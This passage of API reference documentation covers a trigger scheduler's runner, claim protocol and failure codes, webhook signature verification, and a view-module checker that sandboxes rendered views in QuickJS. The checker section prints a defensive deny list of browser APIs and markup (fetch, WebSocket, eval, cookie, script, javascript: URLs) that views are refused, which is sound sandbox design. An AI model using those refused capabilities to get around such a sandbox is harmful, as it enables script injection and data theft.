because the constructor's signature promises a `TriggerError`.

## Scheduler

The Clock-driven poll loop and the launcher port it fires through.

### Scheduler.StartInput and RunnerService

```ts
interface StartInput {
  readonly flowId: string
  readonly input: unknown
  readonly idempotencyKey: string
}

type RunState = "active" | "completed" | "failed" | "cancelled" | "missing"

interface RunnerService {
  readonly start: (input: StartInput) => Effect.Effect<string, TriggerError>
  readonly inspect: (runId: string) => Effect.Effect<RunState, TriggerError>
  readonly cancel: (runId: string) => Effect.Effect<void, TriggerError>
}
```

`inspect` says what the runtime knows about one run. `active` keeps the monitor
polling. `completed` is recorded as a `completed` fire. `failed`, `cancelled`,
and `missing` (the runtime has no record of the run) are recorded as `failed`,
with the state in the fire's error.

`idempotencyKey` is `<triggerId>:<occurrence ISO instant>`, so two hosts that
notice the same boundary derive the same key.

Scheduled dispatch makes at-least-once launch attempts. `RunnerService.start`
must durably deduplicate by `idempotencyKey` and return the same run identity on
replay, including across host restarts.
The runner may have accepted a launch before the store persists its `launched`
result. A crash, result-write failure, or expired reservation can cause another
attempt with that key, even while the earlier attempt is in flight.

### Scheduler.Runner and its constructors

```ts
class Runner extends Context.Service<Runner, RunnerService>()("flows/triggers/Scheduler/Runner") {}

const makeRunner: (implementation: RunnerService) => RunnerService
const makeNoopRunner: (overrides?: Partial<RunnerService>) => RunnerService
const layerNoopRunner: (overrides?: Partial<RunnerService>) => Layer.Layer<Runner>
```

The no-op launcher returns the idempotency key as a terminal run: `start`
answers with the key, `inspect` with `"completed"`, and `cancel` with nothing.

### Scheduler.layerControlRunner

```ts
const layerControlRunner: Layer.Layer<Runner, never, Control.Control>
```

The production launcher, backed by the Control plan, run, list, and cancel API.
A parked plan waits for approval and retries the same idempotent run request a
bounded number of times. This adapter never approves a plan and never
reconstructs an execution envelope. The start input is forwarded to `Control.plan`;
every `Control.run` attempt uses the returned plan ID, digest, and envelope with
the original start idempotency key.

Cancellation sends ``{ runId, idempotencyKey: `trigger-cancel:${runId}` }`` to
`Control.cancel`. Only `Accepted`, `AlreadyApplied`, and `Terminal` receipts
acknowledge cancellation. `Conflict` and `Parked` fail with `TriggerError` code
`runner`, so supersession retains the predecessor and queues the replacement.

`inspect` answers each settled status `cancelled`, `completed`, and `failed` as
itself, `missing` for a run Control does not list, and `active` for every other
status, so a status Control adds later is treated as live until this package
says otherwise.

### Scheduler.parkedAttempts

```ts
const parkedAttempts: number
```

8. How many times a parked plan is re-offered before the launch is abandoned.
   The delay doubles from one second, so the eighth attempt lands a little over two
   minutes in, and the launch then fails with `runner`.

### Scheduler.Options and Service

```ts
interface Options {
  readonly pollInterval?: Duration.Input | undefined
  readonly runPollInterval?: Duration.Input | undefined
  readonly concurrency?: number | undefined
  readonly startTimeout?: Duration.Input | undefined
  readonly inspectTimeout?: Duration.Input | undefined
  readonly cancelTimeout?: Duration.Input | undefined
  readonly host?: string | undefined
  readonly fireRetention?: Duration.Input | undefined
}

interface Service {
  readonly runOnce: Effect.Effect<void, TriggerError>
}

const defaultHost: string
const defaultConcurrency: number
const defaultFireRetention: Duration.Duration
const durationBoundaries: ReadonlyArray<number>
```

`pollInterval` defaults to one minute and paces the tick loop.
`runPollInterval` defaults to fifteen seconds and paces a launched run's monitor.
Both must be finite, positive Effect durations; zero polls a CPU-tight loop and
an infinite interval never completes, and both are refused with
`invalid_options` and `TriggerError.path` naming the field.

`concurrency` is how many triggers one tick processes at the same time. It
defaults to `defaultConcurrency`, which is 4, and must be a positive integer;
anything else is refused with `invalid_options` at `concurrency`. Triggers are
independent once claimed, because the store fences every claim on its own row.
A tick never waits for a launch: the claim is durable, the launch runs on its
own fiber, and a plan parked awaiting approval holds only its own trigger. Each
trigger reads the clock when its own processing starts,
not once for the tick.

`startTimeout`, `inspectTimeout`, and `cancelTimeout` bound one `Runner.start`,
`Runner.inspect`, and `Runner.cancel` call. They default to four minutes,
thirty seconds, and thirty seconds, must be finite, positive Effect durations,
and are refused with `invalid_options` naming the field. The start default
outlasts `layerControlRunner`'s bounded parked-approval retries and stays below
the five-minute reservation lease, so an abandoned launch still owns its
reservation. A deadline above the lease is allowed; a start that answers after
its lease is reconciled as a late launch. A call that exceeds its deadline is
interrupted and fails with `runner_timeout`:

- A start that times out is ambiguous, because the runtime may hold the run.
  The occurrence is neither failed nor forgotten: the reservation is released
  and the occurrence stays pending, so the next tick retries it under the same
  `idempotencyKey` and the runtime's durable deduplication answers with the
  same run. The tick waits at most `startTimeout` for one launch.
- An inspection that times out is an inspection failure: the monitor retries
  and then detaches, retaining the durable owner.
- A cancellation that times out fails the supersede: the prior run is restored
  as active and the replacement is queued.

`host` is the name every tick records its heartbeat under through
`TriggerStore.heartbeat`, so a listing can say which host last polled the
store. It defaults to `defaultHost`, which is `"local"`. The heartbeat is
observability, not dispatch: a store that cannot record it is logged with the
host annotated and the tick goes on, so a listing's "nothing is listening" can
never be caused by the row that reports it.

`fireRetention` is how long settled fire ledger rows are kept. It defaults to
`defaultFireRetention`, thirty days, and must be a finite, positive Effect
duration. A tick calls `TriggerStore.pruneFires` with the cutoff at most once
an hour; a prune that fails is logged and the tick goes on.

`runOnce` holds a semaphore permit, so concurrent calls on one scheduler
serialize.

The scheduler traces `Scheduler.runOnce` (attribute `host`),
`Scheduler.processTrigger` (attribute `triggerId`), and `Scheduler.launch`
(attributes `triggerId` and `occurrence`), and records three metrics:

| Metric                                 | Kind      | Meaning                                              |
| -------------------------------------- | --------- | ---------------------------------------------------- |
| `smithers.triggers.fires`              | counter   | Fire results recorded, with the attribute `outcome`. |
| `smithers.triggers.tick_duration_ms`   | histogram | Duration of one `runOnce`.                           |
| `smithers.triggers.launch_duration_ms` | histogram | Duration of one `Runner.start`, the launch latency.  |

Both histograms use `durationBoundaries`.

### Scheduler.make, makeNoop, layer, and layerNoop

```ts
const make: (
  options?: Options
) => Effect.Effect<Service, TriggerError, Runner | Scope.Scope | TriggerStore.TriggerStore>

const makeNoop: () => Service

const layer: (
  options?: Options
) => Layer.Layer<Scheduler, TriggerError, Runner | TriggerStore.TriggerStore>

const layerNoop: Layer.Layer<Scheduler>
```

`make` builds the service in the current scope and forks nothing; the caller
decides when a tick happens. `layer` additionally forks a supervisor fiber that
ticks and sleeps forever. The supervisor sleeps only through the Effect Clock,
so scope closure interrupts it, and it recovers from the whole cause of a failed
tick rather than the typed error alone.

Scope closure detaches every run monitor and cancels nothing. The runs are
durable and outlive the process; the next incarnation re-attaches to them from
the store. Cancellation happens only through a `supersede` claim.

An inspection failure logs its cause and retries three times. Retry delays
start at `runPollInterval`, double each time, and are capped at one minute.
After exhaustion the monitor detaches, retaining the durable active owner and
local entry. Later ticks inspect that owner again. Only an inspection that
reports the run stopped permits a completed result; inspection and completion
write failures never become failed run outcomes.

A launch runs on its own fiber and compensates its own failures: a start that
failed outright records `failed`, an ambiguous one (timed out, or answered but
not persisted) re-arms the occurrence as pending, and a buffered occurrence is
re-armed. Every failure other than interruption is logged with the trigger id.
Interrupting the fiber detaches it; the reservation lease re-arms the
occurrence.

## DispatchReader

The [`@smthrs/control`](/docs/reference/api/control/) `DispatchReader` port served from a
`TriggerStore`. `Control.list` answers `{ _tag: "triggers" }` and
`{ _tag: "fires" }` through that port. The port is declared in control because
this package depends on control; the adapter lives here because only this
package can read the store. A host composes the two by providing
`DispatchReader.layer` over the same store its scheduler writes; without it,
`Control.list` refuses both variants with `InvalidInput` naming the missing
store.

### DispatchReader.make and layer

```ts
const make: Effect.Effect<Port.Service, never, TriggerStore.TriggerStore>
const layer: Layer.Layer<Port.DispatchReader, never, TriggerStore.TriggerStore>
```

`list` answers every trigger the store holds as a control `TriggerSummary`:
the declaration, `lastFiredAtMs`, `pendingAtMs`, `activeRunId` for a launched
run (a launch reservation is not a run the runtime knows about and is reported
as no active run), the next `nextOccurrenceCount` occurrences after the store
clock, and `schedulerLastTickMs` from the newest heartbeat when any scheduler
has polled. `fires` pushes the request's `triggerId`, `runId`, and `outcome`
filters into `TriggerStore.history` with a limit of the page's offset cursor
plus its size plus one, so it reads only the rows the requested page needs,
and answers them newest first; `Control.list` applies the filters again and
pages. A store failure is a
control `PersistenceError` whose `operation` names the listing, `triggers` or
`fires`.

### DispatchReader.nextOccurrences, toTriggerSummary, toFireSummary, and nextOccurrenceCount

```ts
const nextOccurrenceCount: number
const nextOccurrences: (
  trigger: Pick<TriggerStore.Registered, "cron" | "timezone">,
  now: number
) => Effect.Effect<ReadonlyArray<number>, TriggerError>
const toTriggerSummary: (
  trigger: TriggerStore.Registered,
  held: TriggerStore.Held,
  nextOccurrencesMs: ReadonlyArray<number>,
  schedulerLastTickMs: Option.Option<number>
) => TriggerSummary
const toFireSummary: (record: TriggerStore.FireRecord) => FireSummary
```

`nextOccurrenceCount` is 5. `nextOccurrences` lists that many occurrences
strictly after `now`, ascending, as epoch milliseconds.

## Channel

The authority-free inbound channel declaration.

### Channel.RawInbound

```ts
interface RawInbound {
  readonly body: Uint8Array
  readonly headers: Readonly<Record<string, string | undefined>>
  readonly idempotencyKey: IdempotencyKey
}
```

Opaque inbound transport data. Verification inspects this value before any
payload decoding occurs.

### Channel.Start, Signal, and Inbound

```ts
interface Start {
  readonly start: { readonly flowId: string; readonly input: unknown }
}

interface Signal {
  readonly signal: {
    readonly runId: string
    readonly stepId: string
    readonly value: unknown
  }
}

type Inbound = Start | Signal
```

The only two operations an inbound channel may request. Neither supplies
capabilities, grants, or an alternate execution envelope.

### Channel.Verify

```ts
type Verify = (
  raw: RawInbound,
  credential: Redacted.Redacted<CredentialRef>
) => Effect.Effect<void, TriggerError>
```

The credential arrives as a redacted reference rather than a secret, and per
request rather than at declaration time, so a verifier resolves it through the
host's resolver when it needs the bytes.

### Channel.Channel and Config

```ts
interface Channel<Payload, Run = never, Outbound = never> {
  readonly name: string
  readonly verify: Verify
  readonly inbound: (payload: Payload) => Inbound
  readonly outbound?: ((run: Run) => Outbound) | undefined
}

interface Config<Payload, Run = never, Outbound = never> extends Channel<Payload, Run, Outbound> {
  readonly schema: Schema.Schema<Payload>
}
```

### Channel.make

```ts
const make: <Payload, Run = never, Outbound = never>(
  config: Channel<Payload, Run, Outbound>
) => Channel<Payload, Run, Outbound>
```

Declares a channel without adding authority or execution behavior.

## Webhook

A verified webhook door whose only dispatch path is the Control channel
coordinator.

### Webhook.constantTimeEqual

```ts
const constantTimeEqual: (expected: Uint8Array, supplied: Uint8Array) => boolean
```

Compares two byte strings without returning early on a mismatch. The loop runs
exactly `expected.length` times, so its iteration count is fixed by the secret
side of the comparison and never by the caller's. The length difference is
folded into the result, so inputs of unequal length always disagree.

### Webhook.SignatureConfig and makeSignatureVerifier

```ts
interface SignatureConfig {
  readonly header: string
  readonly expected: (
    body: Uint8Array,
    credential: Redacted.Redacted<CredentialRef>
  ) => Effect.Effect<Uint8Array, TriggerError>
}

const makeSignatureVerifier: (config: SignatureConfig) => Channel.Verify
```

`expected` receives a private copy of the request bytes and the redacted
credential reference, and answers with the signature bytes the request must
carry in `header`. It returns an Effect so the secret is resolved through the
host's resolver per request, and so a resolution or HMAC failure arrives as a
typed `verification_failed` instead of a defect.

Every refusal the verifier raises has the message
`webhook signature in <header> did not verify`, whether the header was absent,
the signature mismatched, `expected` answered with zero bytes, or `expected`
failed. A failure raised by `expected` is kept only in the refusal's `cause`,
so a resolver's own message never travels toward the sender.

### Webhook.Config and Webhook

```ts
interface Config<Payload, Outbound = never> extends Channel.Config<Payload, RunSummary, Outbound> {
  readonly credential: Redacted.Redacted<CredentialRef>
}

interface Webhook {
  readonly name: string
  readonly register: Effect.Effect<void, never, ControlChannels.Channels>
  readonly ingest: (
    raw: Channel.RawInbound
  ) => Effect.Effect<Receipt, ControlError | TriggerError, ControlChannels.Channels>
}
```

`credential` is required, and nothing is inferred from the channel's name. Two
declarations that differ only in credential are two different doors, so a door
has to name the credential it verifies against.

### Webhook.make

```ts
const make: <Payload, Outbound = never>(config: Config<Payload, Outbound>) => Webhook
```

Builds the door. It exposes `name`, `register`, and `ingest`, and no direct
execution method.

When verification fails, `ingest` fails with a `verification_failed`
`TriggerError` whose message is always `webhook <name> did not verify the
request`, whatever the declared `verify` reported. The Control `Unauthorized`
it wrapped is the `cause`. A custom `verify` may say why it refused, but that
reason stays on the host side of the Control boundary.

## test/TestTriggers

### TestTriggers.layer

```ts
const layer: Layer.Layer<TriggerStore.TriggerStore>
```

An in-memory `TriggerStore` with real claim and overlap semantics and no
database. It applies the same claim decision as the SQL store, so it returns the
same refusal codes in the same order, holds the same reservation lease, and
reclaims an expired reservation the same way. Registration validates the
declaration and serializes its input at the call boundary, `list` and
`listEnabled` order by id, and every reading is an independent value.

It holds one process's state, so it never reports a `store` failure from a
write, never shows contention between connections, and applies no migrations.
A test about a schema or a row shape needs `SqlTriggerStore`.

## Failure codes

`TriggerError.code` is stable. Branch on the code instead of parsing the
message.

| Code                      | Raised when                                                                                                                                                                |
| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `unknown_trigger`         | A claim, result, pending-state, active-run, or inspect operation requires a trigger row that does not exist. `get` answers `None` instead, and `register` creates the row. |
| `trigger_disabled`        | A claim reads a disabled trigger inside its transaction.                                                                                                                   |
| `stale_owner`             | A result or compensation no longer owns a permissible fire transition.                                                                                                     |
| `revision_mismatch`       | `ClaimFire.expectedRevision` differs from the revision read by the claim transaction.                                                                                      |
| `invalid_schedule`        | `Schedule.make` cannot decode the schedule declaration.                                                                                                                    |
| `invalid_trigger`         | `Trigger.make` cannot decode a trigger, or registration receives input with no JSON representation.                                                                        |
| `invalid_options`         | A cron occurrence limit, a history page limit, or a scheduler interval, deadline, or concurrency violates its contract.                                                    |
| `invalid_cron`            | The Effect cron parser rejects an expression or timezone.                                                                                                                  |
| `unsatisfiable_cron`      | A next, previous, or interval occurrence search exhausts its search bound.                                                                                                 |
| `verification_failed`     | Webhook verification fails, including a signature mismatch or typed credential-resolution failure.                                                                         |
| `catch_up_bound_exceeded` | `maxCatchUp` is invalid, catch-up exceeds its bound, or an unbounded interval exceeds the package cap.                                                                     |
| `runner`                  | The scheduler cannot plan, launch, inspect, cancel, or finish approval retries for a run.                                                                                  |
| `runner_timeout`          | A `Runner.start`, `inspect`, or `cancel` call exceeded `startTimeout`, `inspectTimeout`, or `cancelTimeout`.                                                               |
| `store`                   | A migration, persistence, or row-decoding operation fails, or a no-op store method is unavailable.                                                                         |

`TriggerError.path` optionally identifies the offending declaration or option
as a dotted field path. Schema and option failures set it when they can locate
the field.

`TriggerError` is a `Schema.TaggedError` tagged `flows/triggers/TriggerError`,
carrying `code`, `message`, an optional `path`, and an optional `cause`. Its
`cause` for a decode failure is the rendered issue tree, which names the
expectation and the path only, so a secret submitted in a declaration reaches
neither the message nor the cause.

`TriggerError.fromSchemaError(code, summary, error)` is the constructor behind
those failures. It walks the issue tree for the first offending path, sets
`path` when it finds one, and prefixes `message` with a summary naming what was
being decoded.

For symptom-first guidance, see [Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/triggers/docs/troubleshooting.md).

## Claim protocol and watermarks

`ClaimFire.expectedRevision` fences a claim on the declaration used to compute
the occurrence. `ClaimFire` does not carry an overlap policy. The SQL store
reads `overlap`, `enabled`, and `revision` from the trigger row inside the claim
transaction. A stale revision fails with `revision_mismatch`; a disabled row
fails with `trigger_disabled`.

A launch-capable claim writes a reservation before it starts a run.
`TriggerStore.reservationPrefix` is `trigger-reservation:`, and
`TriggerStore.reservationId` appends the trigger ID, optional attempt, and occurrence;
`TriggerStore.reservationOccurrence` reads that occurrence back. The
`TriggerStore.reservationLeaseMs` lease is 300,000 milliseconds, or 5
minutes. Both store implementations reclaim an expired
reservation and restore its unfinished occurrence to pending work, whether the
lease expires during an active-run read or a later claim. A supersede
reservation also retains the predecessor run ID: recovery re-attaches to that
run and cancels it before launching the pending replacement.

`TriggerStore.claimPending` reads the buffered occurrence, applies the same
claim rules as `claimFire`, and clears the buffer only when the decision
consumes it, inside one transaction. A refused claim leaves the buffer intact,
and a concurrent active run that buffers it again keeps it pending. If a
process dies after claiming ordinary or buffered work but before launching it,
expiration of that launch reservation restores the occurrence. After a failed
buffered launch, `restorePending` restores the pointer and releases the matching
reservation in one transaction. Compensation failures are logged and retain the
lease for recovery. Cancellation failures use the same operation to restore a
still-launched predecessor with its pending replacement.

A launched result carries the claim token and a non-empty run id. The store
checks ownership and unfinished fire state in the transaction that publishes
the run. A delayed result cannot overwrite a newer owner or revive a terminal
fire. The scheduler logs `stale_owner` and cancels a losing accepted run unless a retry of that occurrence has adopted it.

The persisted `last_fired_at_ms` watermark only moves forward. A completed
skip or buffer advances it inside the claim transaction; a fire or supersede
reservation does not advance it until the launched run ID is durable. SQL
updates use the greater of the stored value and the completed occurrence. A
late terminal result with no run ID is fenced to the run recorded for its own
occurrence, so it cannot clear a newer active run. The scheduler's in-process
watermark advances only past occurrences that it finished dispatching. It
leaves a failed occurrence available to a later poll.

On its first poll, a newly registered trigger with no prior fire establishes a
watermark at the latest boundary without firing that boundary. It fires from
the next boundary instead of replaying a stale occurrence from before
registration.

The reasoning behind these rules is in
[The claim protocol](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/triggers/docs/concepts/claim-protocol.md).

## Cron, catch-up, and scheduler limits

`Cron.occurrencesBetween` fails with `catch_up_bound_exceeded` when the caller
omits `limit` and the interval holds more than `Cron.maxOccurrences`, currently
1000. An explicit `limit` silently caps the result and must be a non-negative
safe integer; zero returns no occurrences. `Schedule.maxCatchUpLimit` equals
the same cap, so a schedule cannot declare a larger catch-up bound.

`maxCatchUp` defaults to 0. `CatchUp.occurrences` validates the bound before it
selects `none`, `one`, or `all`, and every policy answers to the bound. In
particular, `one` fails with `catch_up_bound_exceeded` when it owes an
occurrence and `maxCatchUp` is 0.

`Scheduler.Options.pollInterval`, `runPollInterval`, `startTimeout`,
`inspectTimeout`, and `cancelTimeout` must be finite, positive Effect
durations, and `concurrency` must be a positive integer. Invalid values fail
with `invalid_options` and identify the field in `TriggerError.path`.
`Scheduler.parkedAttempts` is 8. If the eighth Control attempt remains parked
awaiting approval, the launch fails with `runner`.

A bound breach logs a warning and abandons the backlog. The current occurrence
is still dispatched subject to overlap, on the first poll after a restart
included. See [Overlap and catch-up](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/triggers/docs/concepts/policies.md).

## Webhook verification and input ownership

The signature verifier looks up `SignatureConfig.header` in `RawInbound.headers`
first as lowercase, then exactly as written, then under any other casing, so a
header name matches whatever capitalisation the request carries. It encodes the
supplied header value as UTF-8 with `TextEncoder` and compares those bytes with
the bytes returned by `SignatureConfig.expected`. An absent or empty header is refused
before `expected` runs, and an `expected` that answers with zero bytes is
refused after it. Constant-time equality agrees on two empty byte strings, so
without those guards a request carrying no signature at all would authenticate
against a credential that resolved to the empty string.

`Webhook.constantTimeEqual` iterates exactly `expected.length` times. It folds
the length difference into the accumulated result, so unequal lengths fail
without making the caller-controlled length determine the iteration count.

`Webhook.Config.credential` is required. The channel forwards it to
`Channel.Verify` and to `SignatureConfig.expected` on every request. The
`expected` function returns an Effect, so implementations can resolve the
secret through the host resolver per request and report resolver or HMAC
failures as typed `verification_failed` values. The declaration does not need
to capture a secret in a closure.

`Webhook.ingest` snapshots `body`, `headers`, and `idempotencyKey` before any
consumer reads them. The signature verifier receives another copy of `body`.
Verification, delivery fingerprinting, and decoding therefore read one private
snapshot even if the caller or verifier mutates its own bytes. Both copies are
taken with `Uint8Array.from`, never with the input's own `slice`: a Node
`Buffer` is a `Uint8Array` whose `slice` returns a view over the same memory,
so a `Buffer` body is copied the same way as a plain array, an offset view is
copied over its viewed range only, and a `SharedArrayBuffer`-backed view is
copied out of shared memory.

`ingest` does not register a channel. Run the separate `register` effect before
accepting traffic.

## Package boundaries

Migrations are internal. The export map null-maps
`@smthrs/triggers/migrations/*`. Use `SqlTriggerStore.layer`; it applies
`0001_triggers`, `0002_reservation_lease`, `0003_heartbeat`, and
`0004_fire_run_index` in order. The package exports
`@smthrs/triggers/package.json`. It does not export `internal/*` or nested
`*/index` subpaths.

---

# @smthrs/views
https://smithers.sh/docs/reference/api/views/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/ui/views/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/ui/views/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/ui/views/docs)

> **Related APIs:** [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/harness`](/docs/reference/api/harness/)

The package root exports nine namespaces and nothing else:

```ts
import {
  Bridge,
  Docs,
  Home,
  Interactions,
  Presentation,
  PresentationRealm,
  ViewCode,
  ViewCsp,
  WebPage
} from "@smthrs/views"
```

## `ViewCode`

### `ViewCode.check`

```ts
const check: (source: string, options: CheckOptions) => Effect.Effect<CheckedModule, ViewCodeError>
```

Checks and compiles a view module. `options.components` is the component
names the presentation bundle carries, usually `realm.components`. It parses
the module with `@babel/parser`, reads its `interactions`, refuses what a view
may not do, and compiles it with sucrase (`typescript`, `jsx`, `imports`, the
automatic JSX runtime) to the CommonJS body the realm evaluates.

It refuses:

- more than `maxSourceBytes` (64 KiB) of UTF-8, or a lone UTF-16 surrogate;
- imports other than `react` (values `Fragment`, `createElement`,
  `Children`, `cloneElement`, `isValidElement`; any type), `@smthrs/ui` (named
  components from `options.components`) and `smithers:view` (`event`,
  `ViewProps`, `ViewEvent`); `React.<name>` outside the same values;
- dynamic `import()`, `import.meta`, `import x = require()`, `export =`,
  `export ... from`, namespaces and `declare` blocks, `debugger`;
- exports other than `default`, `interactions`, `reduce` and types;
- the names `fetch`, `XMLHttpRequest`, `WebSocket`, `EventSource`,
  `navigator`, `localStorage`, `sessionStorage`, `indexedDB`, `caches`,
  `document`, `window`, `globalThis`, `self`, `location`, `top`, `parent`,
  `opener`, `postMessage`, `setTimeout`, `setInterval`,
  `requestAnimationFrame`, `queueMicrotask`, `Date`, `performance`, `eval`,
  `Function`, `Proxy`, `Reflect`, `require`, `module`, `exports`, `process`,
  `WebAssembly` and the others in `src/internal/vocabulary.ts`, and
  `Math.random`;
- the properties `constructor`, `__proto__`, `prototype`,
  `dangerouslySetInnerHTML`, `innerHTML`, `outerHTML`, `srcdoc`,
  `contentWindow`, `cookie` and the other accessors in the vocabulary;
- the elements `script`, `iframe`, `object`, `embed`, `link`, `meta`, `base`,
  `a`, `style`, `template`, `foreignObject`, `use`, `image`, `animate`, media
  elements and the others in the vocabulary, in JSX or as a literal
  `createElement` type;
- every `on*` attribute, `href`, `src` (except a `data:image` URL on `<img>`),
  `srcSet`, `action`, `formAction`, `formTarget`, `target`, `download`,
  `ping`, `poster`, `background`, `data`, `srcdoc`, `sandbox`, `allow`,
  `httpEquiv`, `xmlns` and namespaced attributes such as `xlink:href`;
- `javascript:` and `vbscript:` anywhere in a string, template or JSX text,
  and `<!--` or `-->` anywhere in the source;
- an `interactions` export that is not an object literal of declared
  interactions, a `state` interaction without `reduce`, and a literal
  `data-event` that is malformed or names an undeclared event.

### `ViewCode.CheckedModule`

```ts
class CheckedModule {
  readonly source: string // the TSX as written
  readonly compiled: string // the CommonJS body the realm evaluates
  readonly digest: string // SHA-256 of source, lowercase hex
  readonly interactions: Interactions.Declared
  readonly reduces: boolean // whether it exports reduce
}
```

### `ViewCode.ViewCodeError`

```ts
class ViewCodeError {
  readonly _tag: "@smthrs/views/ViewCodeError"
  readonly reason: "too_large" | "malformed_text" | "syntax" | "refused"
  readonly detail: Redacted.Redacted<string> // one line per problem, "line:column: message"
  readonly problems: Redacted.Redacted<ReadonlyArray<{ message: string; line?: number; column?: number }>>
  readonly message: string // the reason only
}
```

`detail` and `problems` are written for the renderer that wrote the module,
at most `maxProblems` (20) problems in source order. They quote the module's
identifiers and text, which a model can fill with conversation content, so
both print as `<redacted>`; read them with `Redacted.value` for a correction
prompt, never for a log, a span or a metric. `message` is fixed text for the
reason, such as `The view's module does something a view may not`, so a
caller's own span or log line around a check carries no module content.

### Constants

`maxSourceBytes` (65536), `maxProblems` (20), `modules`, `reactValues`,
`viewValues`.

## `PresentationRealm`

### `PresentationRealm.make`

```ts
const make: (options: Options) => Effect.Effect<Realm, RealmError, QuickJSVariant.Variant | Scope.Scope>

interface Options {
  readonly bundle: string // the presentation bundle's source
  readonly limits?: Partial<Limits> | undefined
}
```

Loads a realm over the bundle for the life of the scope. It compiles the
QuickJS build the host names (`QuickJSVariant` from `@smthrs/harness`), at most
once per build, removes `Date`, `Math.random`, `Proxy`, `WeakRef` and
`FinalizationRegistry`, evaluates the bundle, and fails with `load_failed` when
the bundle throws or installs no renderer. That runtime serves the first call;
every later render or interaction loads the bundle into a fresh runtime, and
each runtime closes after its call, so nothing one view changes reaches
another. Once its scope closes, every call fails with `load_failed`.

### `PresentationRealm.layer`

```ts
const layer: (options: Options) => Layer.Layer<PresentationRealm, RealmError, QuickJSVariant.Variant>
```

### `PresentationRealm.Realm`

```ts
interface Realm {
  readonly render: (
    input: { module: CheckedModule; props: unknown; state: unknown }
  ) => Effect.Effect<string, RealmError>
  readonly interact: (
    input: { module: CheckedModule; props: unknown; state: unknown; event: Interactions.Event }
  ) => Effect.Effect<{ state: unknown; html: string }, RealmError>
  readonly components: ReadonlyArray<string>
}
```

- `render` evaluates the module afresh and renders its default export with
  `{ props, state }` through `renderToStaticMarkup`.
- `interact` runs `reduce(state, event)` and renders the state it returns.
- `components` is what the bundle resolves `@smthrs/ui` to, for
  `ViewCode.check`.

Props and state must be JSON. Each call is traced as
`PresentationRealm.render` or `PresentationRealm.interact`. A failed call's
span ends through `SpanFailure` from `@smthrs/flow`: its status reads
`redacted`, and only the attributes `realm.reason` and `realm.limit` say why.

### `PresentationRealm.Limits` and `defaultLimits`

| Limit         | Default | Bounds                                                             |
| ------------- | ------- | ------------------------------------------------------------------ |
| `memoryBytes` | 64 MiB  | the realm's heap                                                   |
| `stackBytes`  | 128 KiB | the interpreter's stack; keep it under a third of the host's stack |
| `loadMs`      | 10 000  | loading the bundle                                                 |
| `renderMs`    | 1 000   | one render or interaction                                          |
| `steps`       | 2 000   | interrupt polls per render, about ten thousand operations each     |
| `propsBytes`  | 256 KiB | a render's props, as UTF-8 JSON                                    |

State is bounded by `Bridge.maxStateBytes` (16 KiB) on the way in and out, and
HTML by `Bridge.maxHtmlBytes` (512 KiB).

### `PresentationRealm.RealmError`

```ts
class RealmError {
  readonly _tag: "@smthrs/views/RealmError"
  readonly reason: "load_failed" | "invalid_input" | "render_failed" | "limit_exceeded"
  readonly limit?: "time" | "steps" | "memory" | "stack" | "html" | "state" | "props"
  readonly detail: Redacted.Redacted<string> // for the renderer; read with Redacted.value
  readonly message: string // the reason and the limit only
}
```

After a time, step, memory or stack limit the realm loads again on its next
call. A host stack overflow instead abandons the runtime without disposal and
quarantines its shared WASM module. Calls and new realms over that module fail
closed; supply a fresh variant to recover.

`detail` says what went wrong for the renderer that wrote the module, such as
`RangeError: no board`. It can quote the module or what the module threw,
which can be its props, state or event, so it prints as `<redacted>`; read it
with `Redacted.value` for a correction prompt, never for a log, a span or a
metric. `message` is fixed text for the reason and the limit, such as
`The view's module failed` or `The view crossed its steps limit`, so a
caller's own span or log line around a render carries no view content.

### `PresentationRealm.limitHits`

`Metric.Counter<number>` named `realm.limit_hit`, with the attribute `limit`.

## `Presentation`

The realm half of a presentation bundle. It runs inside QuickJS, so it imports
nothing but this package's vocabulary.

### `Presentation.install`

```ts
const install: (options: InstallOptions) => Installed

interface InstallOptions {
  readonly react: { Fragment; createElement; Children; cloneElement; isValidElement }
  readonly jsxRuntime: { Fragment; jsx; jsxs }
  readonly renderToStaticMarkup: (element: any) => string
  readonly components: Readonly<Record<string, unknown>>
}
```

Publishes the renderer at `globalThis.__smithersPresentation` (`globalName`)
and deeply freezes everything a view reaches by name: the realm's global and
its prototypes, and `require` with every module behind it, React's `Children`,
each component and its statics, the element constructors and `event`
included. A bundle calls it once, as its last statement. A view's `require` resolves `react`,
`react/jsx-runtime`, `@smthrs/ui` (the components, frozen) and
`smithers:view`; anything else throws. The `react` and `react/jsx-runtime`
element constructors refuse refused elements and attributes early.

Before it publishes, it sets `globalThis.__smithersHostGuard`
(`hostGuardName`) to `guardHost` and renders an element built by hand as
`<script>`; if the renderer emits it, `install` throws, so a bundle whose
renderer skips the guard never loads.

### `Presentation.guardRenderer`

```ts
const guardRenderer: (source: string) => string
```

Patches the source of React's static renderer
(`react-dom/cjs/react-dom-server-legacy.browser.production.js`) so every
element it emits passes `guardHost` first, whether a constructor, a component
or the view's own hand built it, and whatever changed it afterwards. A bundle
builder applies it where it loads that file, for example in an esbuild
`onLoad` hook. It throws when the source has no single
`pushStartInstance(target, type, props, ...)`.

### `Presentation.guardHost`

```ts
const guardHost: (type: string, props: unknown) => Readonly<Record<string, unknown>>
```

Reads an element's own enumerable props once, drops event handlers (React
never emits one, and a component such as Radix's `Label` sets its own),
refuses what `ViewCode` refuses, and returns the frozen copy the renderer
emits.

### `Presentation.make`

The same renderer without publishing it on the global, for tests. It shallow-freezes the React, JSX-runtime, component and `smithers:view` facades; deep hardening happens only during `install`. It renders with the `renderToStaticMarkup` it is given, guarded or not.

### `Presentation.Installed`

```ts
interface Installed {
  readonly render: (factory: ModuleFactory, props: string, state: string) => string
  readonly reduce: (factory: ModuleFactory, state: string, event: string) => string
  readonly components: ReadonlyArray<string>
}
```

## `ViewCsp`

| Export                                             | What it is                                                                                                                                                                                                                                            |
| -------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `sandbox`                                          | `"allow-scripts"`, the frame's whole `sandbox` attribute                                                                                                                                                                                              |
